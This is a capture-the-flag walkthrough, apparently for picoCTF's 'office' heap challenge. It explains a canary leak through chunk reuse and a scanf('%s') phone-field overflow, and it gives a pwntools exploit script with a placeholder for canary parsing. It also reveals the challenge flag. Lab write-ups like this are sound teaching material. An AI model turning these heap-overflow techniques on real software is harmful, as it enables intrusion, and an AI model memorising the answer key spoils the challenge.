Description
A custom employee management binary uses its own malloc with canaries. Exploit a heap overflow to rename an employee to 'admin' and get the flag.
Setup
Download the binary and make it executable.
wget <url>/officechmod +x officeSolution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1
Reverse engineer the binary structureObservationI noticed the binary uses a custom allocator with internal canaries and an 'admin' check that prints the flag, which suggested I needed to understand the exact struct layout and locate the unbounded input field before attempting any overflow.Load in Ghidra or IDA. The binary manages an array of 10 employees, each with fields at specific offsets: name at offset 0, email at offset 16, salary at offset 20, phone number at offset 24, building at offset 36. The 'get access token' menu option prints the flag if the employee name is 'admin'. The phone number input uses an unguarded %s scan that can overflow the buffer.bashghidra officebash# Identify: add_employee, free_employee, get_token, heap_check functionsWhat didn't work first
Tried: Running 'strings office' to find the flag or identify key functions
strings reveals printable ASCII literals but the function names in a stripped binary are not stored as plain strings - they are symbol table entries that may be stripped. You will see format strings and menu text but not enough to reconstruct the heap layout or overflow offset. Ghidra's decompiler is necessary to trace the scanf call site and measure the distance from the phone field to the adjacent struct.
Tried: Using 'ltrace ./office' to observe library calls instead of static reversing
ltrace intercepts glibc calls like malloc and free, but this binary uses a custom allocator that does not call glibc malloc - all allocation happens internally. ltrace shows nothing useful for heap layout, and the canary generation is invisible without static analysis of the custom heap_check and allocator routines in Ghidra.
Learn more
The binary has a custom allocator with canaries inserted at the end of each chunk. The
heap_checkfunction (always called with 0) has debug printing available when called with 1 - patching the argument reveals heap layout details useful for computing the canary position.Key observation: the phone number field is read with an unguarded
scanf("%s"), making it the overflow vector. Name and email use bounded reads.Step 2
Leak the heap canary via building numberObservationI noticed the custom allocator places a canary at the end of each chunk and that the heap_check aborts on mismatch, which suggested I needed to leak the live canary value before any overflow attempt by engineering an allocation overlap that exposes the canary through a readable field like building number.Allocate an employee with a 28-character email (making the email chunk size 36). Delete that employee. Now allocate two new employees without email addresses. The second allocation reuses the old 36-byte chunk. When listing employees, the building number field of the second employee now contains the heap canary from that chunk.Learn more
The email field allocation is 28 bytes plus overhead, making a 36-byte chunk. After freeing and reallocating two overlapping employees, the canary at the end of that 36-byte region falls at offset 36 within the second employee struct (exactly where building number is stored). Listing employees reveals the canary in plain text.
Step 3
Overflow the phone number to overwrite the adjacent employee's nameObservationI noticed the phone number field uses an unguarded scanf("%s") and sits 28 bytes from the canary boundary, and I now had the live canary value from step 2, which suggested crafting a payload that fills those 28 bytes, forges the known canary and the 0x35 allocated-chunk markers, and lands 'admin' exactly at the adjacent employee's name offset.Delete the first employee, then re-add them. The phone number overflow from this employee can reach into the second employee's struct. Craft a payload that: fills 28 bytes to reach the end of the first block, overwrites the canary (you know it from step 2), overwrites the two chunk metadata fields with 0x35 (the allocated-chunk marker in this custom allocator; 0x34 would mark the chunk as freed and break the exploit), and places 'admin' as the next employee's name.pythonpython3 << 'EOF' from pwn import * p = remote("mercury.picoctf.net", <PORT_FROM_INSTANCE>) def add(name, email=None, phone=None, building=None): p.sendlineafter(b"choice:", b"1") p.sendlineafter(b"name:", name) if email: p.sendlineafter(b"email? (y/n)", b"y") p.sendlineafter(b"email:", email) else: p.sendlineafter(b"email? (y/n)", b"n") p.sendlineafter(b"phone:", phone or b"0") if building: p.sendlineafter(b"building? (y/n)", b"y") p.sendlineafter(b"building:", building) else: p.sendlineafter(b"building? (y/n)", b"n") def remove(idx): p.sendlineafter(b"choice:", b"2") p.sendlineafter(b"employee #:", str(idx).encode()) def list_employees(): p.sendlineafter(b"choice:", b"3") return p.recvuntil(b"0. Exit") def get_token(idx): p.sendlineafter(b"choice:", b"4") p.sendlineafter(b"employee #:", str(idx).encode()) return p.recvline() # Step 1: create employee with 28-char email to get 36-byte chunk, then delete add(b"alice", email=b"A" * 28, phone=b"1234567890") remove(0) # Step 2: add two employees without emails; second reuses the 36-byte chunk add(b"bob", phone=b"0") add(b"charlie", phone=b"0") # Step 3: list employees to read the canary from charlie's building field out = list_employees() # Parse canary from building field (implement based on actual output format) canary = ... # extract from out # Step 4: remove bob, re-add with overflowing phone remove(0) payload = b"A" * 28 + canary + p32(0x35) + p32(0x35) + b"admin " add(b"dave", phone=payload) # Step 5: get access token for the employee now named "admin" print(get_token(1)) EOFWhat didn't work first
Tried: Using p32(0x34) instead of p32(0x35) for the chunk metadata fields in the overflow payload
0x34 is the free-chunk marker in this custom allocator. Writing it causes heap_check (called on every menu action) to treat the chunk as deallocated, triggering an abort or corruption before the get access token call can succeed. The correct value 0x35 marks the chunk as allocated, so the allocator leaves it intact during subsequent integrity checks.
Tried: Skipping the canary leak step and zeroing the canary bytes in the payload
The binary calls heap_check after every menu action and aborts if the canary does not match the value stored at chunk creation. The canary is a random 4-byte value chosen at startup, so zeroing it fails immediately on the next heap check. The overlap technique from step 2 is required to read the exact live canary value before crafting the overflow.
Learn more
The overflow chain: phone number buffer at offset 24 within the first employee chunk (size 52). Writing 52 - 24 = 28 bytes reaches the canary. Then overwrite the canary (known), previous size and current size fields, and finally land on the adjacent employee's name field with the string "admin".
Once an employee's name is "admin", selecting "get access token" for that employee prints the flag.
Interactive tools
- Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
- pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.
Flag
Reveal flag
picoCTF{cb3b0507a278ae12d2465d4c8ee30f31}
Heap overflow via phone number field after leaking the custom allocator canary to rename an employee to 'admin'.